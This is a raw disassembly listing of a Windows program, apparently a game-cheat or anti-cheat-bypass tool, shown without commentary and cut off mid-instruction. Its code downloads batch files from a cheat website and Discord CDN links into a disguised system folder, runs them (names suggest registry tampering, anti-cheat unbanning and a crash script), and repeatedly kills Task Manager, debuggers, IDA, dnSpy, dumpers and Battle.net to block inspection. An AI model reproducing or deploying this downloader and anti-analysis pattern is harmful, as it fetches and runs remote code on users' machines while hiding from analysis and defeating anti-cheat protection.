lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_macandcountrystuff_VALORANT.bat
lea rcx, [rsp + 0xd470]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoVALORANT.bat
lea rcx, [rsp + 0xd450]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xd450]
call fcn.14005d8d0
mov qword [rsp + 0x558], rax
lea rcx, [rsp + 0xd470]
call fcn.14005d8d0
mov qword [rsp + 0x560], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x558]
mov rdx, qword [rsp + 0x560]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xd430]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xd410]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xd410]
call fcn.14005d8d0
mov qword [rsp + 0x568], rax
lea rcx, [rsp + 0xd430]
call fcn.14005d8d0
mov qword [rsp + 0x570], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x568]
mov rdx, qword [rsp + 0x570]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.https:__cdn.discordapp.com_attachments_942065045569953812_1034446108283387947_FNAPEXCODCLEANER.bat
lea rcx, [rsp + 0xd3f0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoen_USFNAPEXCODCLEANER.bat
lea rcx, [rsp + 0xd3d0]
call fcn.14005d9d0
nop
lea rdx, str.https:__cdn.discordapp.com_attachments_942065045569953812_1038250169516429313_registry.bat
lea rcx, [rsp + 0xd3b0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoen_US_registry.bat
lea rcx, [rsp + 0xd390]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xd3d0]
call fcn.14005d8d0
mov qword [rsp + 0x578], rax
lea rcx, [rsp + 0xd3f0]
call fcn.14005d8d0
mov qword [rsp + 0x580], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x578]
mov rdx, qword [rsp + 0x580]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xd390]
call fcn.14005d8d0
mov qword [rsp + 0x588], rax
lea rcx, [rsp + 0xd3b0]
call fcn.14005d8d0
mov qword [rsp + 0x590], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x588]
mov rdx, qword [rsp + 0x590]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoen_US_registry.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoen_USFNAPEXCODCLEANER.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adodeeepcleanwifisystem.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adopngbypas.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoDISCORDVERSION.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoFIVE_M.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoeacunban.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoVALORANT.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBATTLENET.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adocleanerrandom.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adocleanerrandom2.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
